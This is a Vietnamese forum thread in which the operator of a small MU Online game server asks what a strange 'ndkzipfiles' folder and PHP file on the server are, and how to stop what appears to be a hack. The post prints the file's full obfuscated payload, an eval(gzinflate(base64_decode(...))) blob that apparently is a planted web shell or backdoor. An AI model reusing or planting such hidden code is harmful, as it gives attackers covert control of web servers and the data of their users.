PDA

View Full Version : ndkzipfiles là gì?



nguoidunghh
09-11-10, 12:37 PM
Mình đang chạy 1 Muonline nho nhỏ, hôm nay mở web ra thì thấy một thư mục rất lạ mang tên ndkzipfiles bên trong có nhiều file nén, ngoài nó ra thì còn kèm theo 1 file php lạ lạ với đoạn code như sau:
<? eval(gzinflate(base64_decode('
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
v7pfxgY5dGmWd2/+KLGaztOqwaooNnrM0n5bb/Ji
oWXkVGOOCgfQCHDZnZc6bWwV05KFd2x77kiqkek2
aJVLWg02QynYVrSVduS+gj/4n8I0ovR3QdpbZhko
vBnZaAWEsdK8Upn/L7T/86C9Duwa2KnCvGIZfQcO
DfThHriAoLpwIRrMbiGBdyxLIacBI1wB/ODEKo/m
ZG4iYhOHDfrDo4MXh3LqJW2WLGNfk9maij2Db3Ai
oZY+pC0We/taSlWR0hAupe8NNdDMqayJ3xvWyP7j
a6vIpXUcLqJbIUtJQQb6VhYgyMzawJJ+REa/Z3fj
ZWSxmbHWWd3cxjVdnmRg8bIT26aTx4/Gu2/en5z9
7cMp++ns7S/sw19e//LzCbO6tv3X/RPbfnP2RnYM
e/0BO8vcOA/lWcW2T99ZzJoLkR7b9vX1de96v5dk
l/bZn+25WERDO0ogJPd84Vs4DrbRv+AD8F8RiohP
usfnDMDM/o6YhbMcFsIHvT58AyCn80QkPcj/2Ofj
7tiWHMAKSZ7LcOAu/79leOVYJwmcM2PRPbtNuQUJ
Iz05lgBnQHMZgUNwM0hTnaUIukc0n7enZ69AtbMP
3dM//eXnjyDk1clPp92T9+/O/vz+F4vhl9N3Z7DX
3nepi7hycQveTcA4SryX59Sx2+0+foRjEYYwQQ/A
9XRvjpm7FAnuqdzLkiiauVk3gJ3e9cA1Zcfsyckp
/lQJ8rnrA7MmOXyNP1WSeXg5j+BXFFQ/HuFPlWrf
r9IcvcKfKo3vZl9WBqwjwyLVl60U4BUMGXuDg1dH
JxLFs8S/7Qi/A+4OrRPAAoERFmF0e8w+8sx3Y7cD
OXjoRh32E4+uuAg9aMkBbd2cZ2Ew0lzoP47ZYC+9
wSY9Vv9w8Gb/sByLRlm42WUYdyMeiGPWlwyqTSTp
alOGdlptnCVCJIuidQYWuCSHoLR88uYEf+TA7nEU
xl9o6GJJfjwa9vHOcwex0vWxNOni9jlmcRJzzXcV
wqbiPrFuIlyXSaxzRNpDGQ8PS0bXozrHdw8ZLi7Z
VzZLMh/GlZZB79Wb+XIasgeWKL1heRKFPnuyPxwe
HPwg2XswrIBtXOJArehQmpiarrlcjFkS+dV54Geb
OWuWqN8/3H+tJt9bbBj98N81+t7rw/7RHvbNpdih
xBJOJtgwmb1/12T2X70YvnptTGbvoJjM9rn8c8MC
8MhXEE6yizw1kIJ7sXsd+mJOmBlVO8jdHjNIwGB/
rPQVm7+/v394WHEH0LK/v3WWpo6DwggzCjErW1hr
XLseKSa08eVxaUjwgRiLv9aa4pQ+5VyNqZrilXQl
jqog9fKK2SlSvHjaTHmiPFW3ixHLJuPSNx2T0XdS
lKO7LRa58eXSvYRQ9w/3ypWNGOzsZxCfv+Pn8SMM
8f9byIBk57v42TP78SN8oSfkw4NOnB/C77DjJwt1
HIndq/DSFUnWc9P0Hb7G5FhvQ4hLeRII9jPVoLlg
pzcpmIJnkG+iICfFlAB6q/wf5QVNe+IMQXyRKtaN
8Y6L3HMh5Wh/ZQymda/EgxHSDe+hGx+MYJFAPQen
yX77DWXTMcA8xCWzf7RCn1JWjsmln3hLrJP13Chi
08rjeeh/Bl/NoHFhdoGU04jj19e3P/skTVKp/si9
hSkh96hI/7lKTI3JUJELhsF6sKxzQYLPWix0+qOQ
jUt5QRgHSY/LIfOeuiwZsfD5c9YuC2qrDCC6R2Nw
33FEtuSaeGeD5PPws2YAwyCHKlTRX1xSsyT3ACEg
hc6zhhj88412EUGaMlp3BhuVfJljwcngD5DmX9L2
c6wng9Phi8NXFnMhIYsdrJBC/JTezOkzj0dRnroe
uBJnQE/KsTgDkLwzFtlkLPwqM5W0HEuFNItdyV5r
Efo+PE/Gs0lNZj22ZxNIpX0ptl6kCkzW5CTBO8rZ
LRtDvp3xAIS7YSSS46vllRtH7uLlJTZgim7hYGPb
nbCnXpLesj2Iu4wGgj8ZeRmyD7kZep7KIxi+3rjr
4LtvbCo7mb1mzRdkTGktq29V7GXtWRWLWfvaypZU
y2Lk6RxL5SaYmjw5pI9MUdCnMTamaeJprLRLIaFc
SOlyLSZDKC002BomE7PQd6xcuGJJR4KdcToZY7qU
Z56jz0nmqcYOF+Bcc/vaDWEvhoGltd3fK8Xjd3vC
/ivoXkFjO52YV0SwjunkQ5bgaxiAC9wI7EcIrODS
2FNGVwEsh93uYerdQ27YzLCMtHRyhzC2Gbz6oC9R
iyUN5pI/dKwpvbI7sAgQ5FUsJt+uVQ/ylsKx0iSn
gFoF++E2sA9+D9h/oE8J9irUNcOm5JVVkw1m5jzF
6HjMIp9zIksMxhsZx6X7mOr3jHvWhBwTeQx82VoW
uPQrzLpwQQUs9SBrbqpy1YhU8YzfqPsNu/pasgwl
HqgjWpK4PRm0GffmCbO6xYyaxYy+Sqrz/udvzYnx
gDPEQg15/OnE8J8lOmD+FPIaGPIa4VgNa1ZbGhDk
VOlKl0ON/vNGiDGW5ryrK8NEVyisfLPKBy1VRJRV
S1VXxHuYsv5U4QGBVRarzgIkhtSX37TueKVUMxaa
ZLrZdxIkdEwZTx05nekEYBLGKWSqsoxCQXaW3Og9
ckd31BTPllwy0pDACLv8aTzL0xE2IvW0Zi1gZ07X
MF6Z0vcB/p7pQnZiJbEXhd4XM08+LrOiUTnvX8nf
wGyirR6mJgL+k05hPX59r5uYoMcknXFDmxbBQ1bp
4ORrL8Xy6Uq1RaVfxxr20Rp4u7uehVhUhFmxd76c
LcJCvn5S0qVVzb+/4iX0erMMEBtNbqP/rqBHuvm6
lG7DGvRX1qBfl1UoSZAcbVkheUwHM2ivWan26w0l
z6rW5K0bxrhPC+3uyV8kxtfEGFkbDFdWXu+NhLY+
NNq6wjtVl0QUBZ2B8np3skLduPjw/tez8+YdXURo
n6ccJja2J33t8vS9m1PePslWglJfPt5Vn+v88N2K
B8b7HjpU0zuepfetXswF6j5fHRP07Vygb9/xJGA4
2013gVpMMdHqVWBxmNgxCfRV8iaNtGVWtLorXu8p
riy1at90SNx9qRWsvRDKICty2MvFl1WSTv/Fixft
0ky7SApqiRuRLPHOzTpx4zgRzMu4KzjGf7aLGLHU
hRKZ6qU3XyT+BsHSCmGqI42CivYpEi4FhVO9N5P/
Y5LqKzMAlVDodlwHxa62lVUR2oMko2jUHRyBG/Nr
/X85aSRSV/GmRK6BZvapFx+sr6bG3+yverxv6t6y
uF1cxc82TqkMMRiQkpeOuqNvaKJQhVeO5jWcbi9n
XkslmyURusidne11IlWjaMoTUbPdC+OYZ3iZBEE9
xVQRM/J86WGCHiwjQAvlVtCVTt4k13GUuL6RPDYp
hShtMZ3Y2KLMMZ00J5VH6RNJ2HuIKyG+Xkd6gUSk
U0pP4cC6Fi0e8pfOE6ZAaZ8pDWqNjMIAGGq6kpkB
1e+23btEvhcFbiGg40x5itk1xpVjUq0GRpv+Pw==
'))); ?>

Không hiểu đây là gì? làm sao nó lại có trong đó? có phải mình đang bị hacker tấn công không? Và tấn công như thế để làm gì? Và vấn đề quan trọng là làm thể nào để chống được.

Xin các pro trả lời giúp!

nguoidunghh
09-11-10, 02:01 PM
Giúp với các pro ơi!!!!!!!!!!!!!!!!!!!!!!